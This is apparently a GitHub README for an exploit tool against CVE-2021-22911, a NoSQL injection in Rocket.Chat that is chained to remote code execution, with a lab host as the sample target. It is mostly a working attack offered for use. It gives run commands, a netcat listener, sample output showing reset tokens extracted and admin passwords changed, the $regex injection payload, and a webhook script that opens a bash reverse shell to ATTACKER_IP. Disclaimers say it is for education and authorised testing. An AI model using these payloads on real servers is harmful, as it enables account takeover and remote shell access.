roshanrajbanshi/rocketcat-cve-2021-22911-exploitCVE-2021-22911 Rocket.Chat NoSQL Injection RCE Exploit - Educational Purpose
This exploit is for authorized penetration testing and educational purposes only. Unauthorized access to computer systems is illegal. The author is not responsible for any misuse.
CVE-2021-22911 is a critical unauthenticated NoSQL injection vulnerability in Rocket.Chat that leads to Remote Code Execution (RCE).
This exploit chains three NoSQL injection attacks:
$regex operator to extract the password reset token character-by-characterchild_process.exec() to spawn reverse shellpip install requests
nc -lvnp 4444
Manual IP entry:
python3 rocket_chat_exploit.py \
-u [email protected] \
-a [email protected] \
-t http://chat.rocket.thm \
-i 10.9.0.1 \
-p 4444
Auto-detect tun0 IP (Recommended):
python3 rocket_chat_exploit.py \
-u [email protected] \
-a [email protected] \
-t http://chat.rocket.thm \
-i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \
-p 4444
**Arguments:**
- `-u`: Low-privilege user email (must exist)
- `-a`: Administrator email
- `-t`: Target URL (Rocket.Chat instance)
- `-i`: Your attacker IP (tun0)
- `-p`: Netcat listener port
### Example Output
[PHASE 1] Low-priv user → [email protected] [+] Password reset email sent → [email protected] [*] Extracting reset token via blind NoSQL injection... [43/43] aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd [+] Token: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd [+] Password changed to: P@$$w0rd!1234
[PHASE 2] Admin user → [email protected] [+] Password reset email sent → [email protected] [*] Extracting reset token via blind NoSQL injection... [43/43] XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ [+] Token: XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ [+] Password changed to: P@$$w0rd!1234
[PHASE 3] RCE [!] Start your listener now: nc -lvnp 4444 [] Press Enter when nc is ready... [+] Authenticated as [email protected] userid : userid123456789 token : token123456... [+] Webhook created http://chat.rocket.thm/hooks/hookid123/token456 [] Triggering reverse shell... [+] Trigger sent — check your nc listener
## 🔍 Technical Details
### NoSQL Injection Payload Format
```json
{
"message": {
"msg": "method",
"method": "getPasswordPolicy",
"params": [
{
"token": {
"$regex": "^abc"
}
}
]
}
}
class Script {
process_incoming_request({ request }) {
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"');
}
}
This tool is provided for educational purposes and authorized security testing only. Unauthorized access to computer systems is a criminal offense under the Computer Fraud and Abuse Act (CFAA) and similar international laws.
Use responsibly. Only test systems you own or have explicit written permission to test.